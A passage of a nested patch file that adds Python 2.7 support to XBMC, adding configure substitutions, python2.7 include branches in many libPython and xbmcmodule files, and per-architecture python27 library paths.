+   AC_MSG_NOTICE($external_python_enabled)
++  test "$USE_PYTHON2_7" && AC_MSG_NOTICE([Using Python 2.7])
+   test "$USE_PYTHON2_6" && AC_MSG_NOTICE([Using Python 2.6])
+   test "$USE_PYTHON2_5" && AC_MSG_NOTICE([Using Python 2.5])
+   test "$USE_PYTHON2_4" && AC_MSG_NOTICE([Using Python 2.4])
+@@ -1471,6 +1476,7 @@ AC_SUBST(USE_INTERNAL_LIBDTS)
+ AC_SUBST(USE_EXTERNAL_LIBMPEG2)
+ AC_SUBST(USE_EXTERNAL_LIBWAVPACK)
+ AC_SUBST(USE_EXTERNAL_PYTHON)
++AC_SUBST(USE_PYTHON2_7)
+ AC_SUBST(USE_PYTHON2_6)
+ AC_SUBST(USE_PYTHON2_5)
+ AC_SUBST(USE_PYTHON2_4)
+diff --git a/xbmc/lib/libPython/XBPyThread.cpp b/xbmc/lib/libPython/XBPyThread.cpp
+index 3a6f34e..71b4b9a 100644
+--- a/xbmc/lib/libPython/XBPyThread.cpp
++++ b/xbmc/lib/libPython/XBPyThread.cpp
+@@ -24,7 +24,10 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++    #include <python2.7/osdefs.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+     #include <python2.6/osdefs.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+diff --git a/xbmc/lib/libPython/XBPyThread.h b/xbmc/lib/libPython/XBPyThread.h
+index c3da337..eea7fea 100644
+--- a/xbmc/lib/libPython/XBPyThread.h
++++ b/xbmc/lib/libPython/XBPyThread.h
+@@ -26,7 +26,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/XBPython.cpp b/xbmc/lib/libPython/XBPython.cpp
+index e52cdfb..defcf14 100644
+--- a/xbmc/lib/libPython/XBPython.cpp
++++ b/xbmc/lib/libPython/XBPython.cpp
+@@ -24,7 +24,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+@@ -61,7 +63,9 @@ XBPython g_pythonParser;
+ #define PYTHON_DLL "special://xbmcbin/system/python/python24-x86-osx.so"
+ #endif
+ #elif defined(__x86_64__)
+-#if (defined HAVE_LIBPYTHON2_6)
++#if (defined HAVE_LIBPYTHON2_7)
++#define PYTHON_DLL "special://xbmcbin/system/python/python27-x86_64-linux.so"
++#elif (defined HAVE_LIBPYTHON2_6)
+ #define PYTHON_DLL "special://xbmcbin/system/python/python26-x86_64-linux.so"
+ #elif (defined HAVE_LIBPYTHON2_5)
+ #define PYTHON_DLL "special://xbmcbin/system/python/python25-x86_64-linux.so"
+@@ -69,7 +73,9 @@ XBPython g_pythonParser;
+ #define PYTHON_DLL "special://xbmcbin/system/python/python24-x86_64-linux.so"
+ #endif
+ #elif defined(_POWERPC)
+-#if (defined HAVE_LIBPYTHON2_6)
++#if (defined HAVE_LIBPYTHON2_7)
++#define PYTHON_DLL "special://xbmcbin/system/python/python27-powerpc-linux.so"
++#elif (defined HAVE_LIBPYTHON2_6)
+ #define PYTHON_DLL "special://xbmcbin/system/python/python26-powerpc-linux.so"
+ #elif (defined HAVE_LIBPYTHON2_5)
+ #define PYTHON_DLL "special://xbmcbin/system/python/python25-powerpc-linux.so"
+@@ -77,7 +83,9 @@ XBPython g_pythonParser;
+ #define PYTHON_DLL "special://xbmcbin/system/python/python24-powerpc-linux.so"
+ #endif
+ #elif defined(_POWERPC64)
+-#if (defined HAVE_LIBPYTHON2_6)
++#if (defined HAVE_LIBPYTHON2_7)
++#define PYTHON_DLL "special://xbmcbin/system/python/python27-powerpc64-linux.so"
++#elif (defined HAVE_LIBPYTHON2_6)
+ #define PYTHON_DLL "special://xbmcbin/system/python/python26-powerpc64-linux.so"
+ #elif (defined HAVE_LIBPYTHON2_5)
+ #define PYTHON_DLL "special://xbmcbin/system/python/python25-powerpc64-linux.so"
+@@ -85,7 +93,9 @@ XBPython g_pythonParser;
+ #define PYTHON_DLL "special://xbmcbin/system/python/python24-powerpc64-linux.so"
+ #endif
+ #elif defined(_ARMEL)
+-#if (defined HAVE_LIBPYTHON2_6)
++#if (defined HAVE_LIBPYTHON2_7)
++#define PYTHON_DLL "special://xbmc/system/python/python27-arm.so"
++#elif (defined HAVE_LIBPYTHON2_6)
+ #define PYTHON_DLL "special://xbmc/system/python/python26-arm.so"
+ #elif (defined HAVE_LIBPYTHON2_5)
+ #define PYTHON_DLL "special://xbmc/system/python/python25-arm.so"
+@@ -93,7 +103,9 @@ XBPython g_pythonParser;
+ #define PYTHON_DLL "special://xbmc/system/python/python24-arm.so"
+ #endif
+ #else /* !__x86_64__ && !__powerpc__ */
+-#if (defined HAVE_LIBPYTHON2_6)
++#if (defined HAVE_LIBPYTHON2_7)
++#define PYTHON_DLL "special://xbmcbin/system/python/python27-i486-linux.so"
++#elif (defined HAVE_LIBPYTHON2_6)
+ #define PYTHON_DLL "special://xbmcbin/system/python/python26-i486-linux.so"
+ #elif (defined HAVE_LIBPYTHON2_5)
+ #define PYTHON_DLL "special://xbmcbin/system/python/python25-i486-linux.so"
+diff --git a/xbmc/lib/libPython/XBPythonDll.cpp b/xbmc/lib/libPython/XBPythonDll.cpp
+index bc9d827..87ac7d7 100644
+--- a/xbmc/lib/libPython/XBPythonDll.cpp
++++ b/xbmc/lib/libPython/XBPythonDll.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/pyconfig.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/pyconfig.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/pyconfig.h>
+diff --git a/xbmc/lib/libPython/XBPythonDllFuncs.S b/xbmc/lib/libPython/XBPythonDllFuncs.S
+index 6b7a6c3..f59b192 100644
+--- a/xbmc/lib/libPython/XBPythonDllFuncs.S
++++ b/xbmc/lib/libPython/XBPythonDllFuncs.S
+@@ -2,7 +2,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/pyconfig.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/pyconfig.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/pyconfig.h>
+diff --git a/xbmc/lib/libPython/linux/Makefile.in b/xbmc/lib/libPython/linux/Makefile.in
+index 7011434..0786937 100644
+--- a/xbmc/lib/libPython/linux/Makefile.in
++++ b/xbmc/lib/libPython/linux/Makefile.in
+@@ -5,7 +5,10 @@ LDFLAGS=@LDFLAGS@
+ SHELL=/bin/bash
+ SYSDIR=../../../../system/python
+ 
+-ifeq (@USE_PYTHON2_6@,1)
++ifeq (@USE_PYTHON2_7@,1)
++    PYVERSION=python2.7
++    SO=python27-$(ARCH).so
++else ifeq (@USE_PYTHON2_6@,1)
+     PYVERSION=python2.6
+     SO=python26-$(ARCH).so
+ else ifeq (@USE_PYTHON2_5@,1)
+diff --git a/xbmc/lib/libPython/xbmcmodule/GUIPythonWindow.h b/xbmc/lib/libPython/xbmcmodule/GUIPythonWindow.h
+index 620d9bd..06fa146 100644
+--- a/xbmc/lib/libPython/xbmcmodule/GUIPythonWindow.h
++++ b/xbmc/lib/libPython/xbmcmodule/GUIPythonWindow.h
+@@ -26,7 +26,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/PythonAddon.h b/xbmc/lib/libPython/xbmcmodule/PythonAddon.h
+index ec7ed28..41eb8ea 100644
+--- a/xbmc/lib/libPython/xbmcmodule/PythonAddon.h
++++ b/xbmc/lib/libPython/xbmcmodule/PythonAddon.h
+@@ -25,7 +25,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/PythonPlayer.h b/xbmc/lib/libPython/xbmcmodule/PythonPlayer.h
+index ecee993..24a1c87 100644
+--- a/xbmc/lib/libPython/xbmcmodule/PythonPlayer.h
++++ b/xbmc/lib/libPython/xbmcmodule/PythonPlayer.h
+@@ -25,7 +25,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/action.h b/xbmc/lib/libPython/xbmcmodule/action.h
+index 0e20000..7f8b1bc 100644
+--- a/xbmc/lib/libPython/xbmcmodule/action.h
++++ b/xbmc/lib/libPython/xbmcmodule/action.h
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/control.h b/xbmc/lib/libPython/xbmcmodule/control.h
+index c76b37c..a9ec63d 100644
+--- a/xbmc/lib/libPython/xbmcmodule/control.h
++++ b/xbmc/lib/libPython/xbmcmodule/control.h
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/controlbutton.cpp b/xbmc/lib/libPython/xbmcmodule/controlbutton.cpp
+index b24ccce..7455ca7 100644
+--- a/xbmc/lib/libPython/xbmcmodule/controlbutton.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/controlbutton.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/controlcheckmark.cpp b/xbmc/lib/libPython/xbmcmodule/controlcheckmark.cpp
+index 96e4743..86a7d8b 100644
+--- a/xbmc/lib/libPython/xbmcmodule/controlcheckmark.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/controlcheckmark.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/controlfadelabel.cpp b/xbmc/lib/libPython/xbmcmodule/controlfadelabel.cpp
+index 68442d8..c6eb052 100644
+--- a/xbmc/lib/libPython/xbmcmodule/controlfadelabel.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/controlfadelabel.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/controlgroup.cpp b/xbmc/lib/libPython/xbmcmodule/controlgroup.cpp
+index aadfc17..8275324 100644
+--- a/xbmc/lib/libPython/xbmcmodule/controlgroup.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/controlgroup.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/controlimage.cpp b/xbmc/lib/libPython/xbmcmodule/controlimage.cpp
+index 79835d6..f106e90 100644
+--- a/xbmc/lib/libPython/xbmcmodule/controlimage.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/controlimage.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/controllabel.cpp b/xbmc/lib/libPython/xbmcmodule/controllabel.cpp
+index aca22e4..38a9c07 100644
+--- a/xbmc/lib/libPython/xbmcmodule/controllabel.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/controllabel.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/controllist.cpp b/xbmc/lib/libPython/xbmcmodule/controllist.cpp
+index 0c67b5c..bb57776 100644
+--- a/xbmc/lib/libPython/xbmcmodule/controllist.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/controllist.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/controlprogress.cpp b/xbmc/lib/libPython/xbmcmodule/controlprogress.cpp
+index a21e462..b460a2a 100644
+--- a/xbmc/lib/libPython/xbmcmodule/controlprogress.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/controlprogress.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/controlradiobutton.cpp b/xbmc/lib/libPython/xbmcmodule/controlradiobutton.cpp
+index ec54efd..b966a17 100644
+--- a/xbmc/lib/libPython/xbmcmodule/controlradiobutton.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/controlradiobutton.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/controlslider.cpp b/xbmc/lib/libPython/xbmcmodule/controlslider.cpp
+index 21ea5e7..c5f65b3 100644
+--- a/xbmc/lib/libPython/xbmcmodule/controlslider.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/controlslider.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/controlspin.cpp b/xbmc/lib/libPython/xbmcmodule/controlspin.cpp
+index 4e24e14..feead3c 100644
+--- a/xbmc/lib/libPython/xbmcmodule/controlspin.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/controlspin.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/controltextbox.cpp b/xbmc/lib/libPython/xbmcmodule/controltextbox.cpp
+index b4c44d5..4a7c688 100644
+--- a/xbmc/lib/libPython/xbmcmodule/controltextbox.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/controltextbox.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/dialog.cpp b/xbmc/lib/libPython/xbmcmodule/dialog.cpp
+index caa8986..cffe485 100644
+--- a/xbmc/lib/libPython/xbmcmodule/dialog.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/dialog.cpp
+@@ -24,7 +24,9 @@
+ #endif
+ #include "dialog.h"
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/dialog.h b/xbmc/lib/libPython/xbmcmodule/dialog.h
+index edcae41..a61c4b1 100644
+--- a/xbmc/lib/libPython/xbmcmodule/dialog.h
++++ b/xbmc/lib/libPython/xbmcmodule/dialog.h
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/infotagmusic.h b/xbmc/lib/libPython/xbmcmodule/infotagmusic.h
+index d202e48..590b858 100644
+--- a/xbmc/lib/libPython/xbmcmodule/infotagmusic.h
++++ b/xbmc/lib/libPython/xbmcmodule/infotagmusic.h
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/infotagvideo.h b/xbmc/lib/libPython/xbmcmodule/infotagvideo.h
+index f2bb300..e808573 100644
+--- a/xbmc/lib/libPython/xbmcmodule/infotagvideo.h
++++ b/xbmc/lib/libPython/xbmcmodule/infotagvideo.h
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/keyboard.h b/xbmc/lib/libPython/xbmcmodule/keyboard.h
+index e5c817f..0f069e3 100644
+--- a/xbmc/lib/libPython/xbmcmodule/keyboard.h
++++ b/xbmc/lib/libPython/xbmcmodule/keyboard.h
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/listitem.cpp b/xbmc/lib/libPython/xbmcmodule/listitem.cpp
+index 137436e..20105ef 100644
+--- a/xbmc/lib/libPython/xbmcmodule/listitem.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/listitem.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/listitem.h b/xbmc/lib/libPython/xbmcmodule/listitem.h
+index 7ebcd6c..3d4a6c8 100644
+--- a/xbmc/lib/libPython/xbmcmodule/listitem.h
++++ b/xbmc/lib/libPython/xbmcmodule/listitem.h
+@@ -25,7 +25,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/player.h b/xbmc/lib/libPython/xbmcmodule/player.h
+index 48dc9c7..34a102d 100644
+--- a/xbmc/lib/libPython/xbmcmodule/player.h
++++ b/xbmc/lib/libPython/xbmcmodule/player.h
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/pyplaylist.cpp b/xbmc/lib/libPython/xbmcmodule/pyplaylist.cpp
+index c7e7f62..6df8548 100644
+--- a/xbmc/lib/libPython/xbmcmodule/pyplaylist.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/pyplaylist.cpp
+@@ -26,7 +26,9 @@
+ #include "Util.h"
+ #include "pyplaylist.h"
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/pyplaylist.h b/xbmc/lib/libPython/xbmcmodule/pyplaylist.h
+index f2334bb..2410314 100644
+--- a/xbmc/lib/libPython/xbmcmodule/pyplaylist.h
++++ b/xbmc/lib/libPython/xbmcmodule/pyplaylist.h
+@@ -25,7 +25,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/pyutil.h b/xbmc/lib/libPython/xbmcmodule/pyutil.h
+index 4acf6e5..1a156f8 100644
+--- a/xbmc/lib/libPython/xbmcmodule/pyutil.h
++++ b/xbmc/lib/libPython/xbmcmodule/pyutil.h
+@@ -25,7 +25,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/window.h b/xbmc/lib/libPython/xbmcmodule/window.h
+index 6ce8e72..40304ff 100644
+--- a/xbmc/lib/libPython/xbmcmodule/window.h
++++ b/xbmc/lib/libPython/xbmcmodule/window.h
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/winxml.cpp b/xbmc/lib/libPython/xbmcmodule/winxml.cpp
+index d3b703f..3e1b3c8 100644
+--- a/xbmc/lib/libPython/xbmcmodule/winxml.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/winxml.cpp
+@@ -24,7 +24,9 @@
+ #endif
+ #include "winxml.h"
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/winxml.h b/xbmc/lib/libPython/xbmcmodule/winxml.h
+index 6e6489e..f3a8dd8 100644
+--- a/xbmc/lib/libPython/xbmcmodule/winxml.h
++++ b/xbmc/lib/libPython/xbmcmodule/winxml.h
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
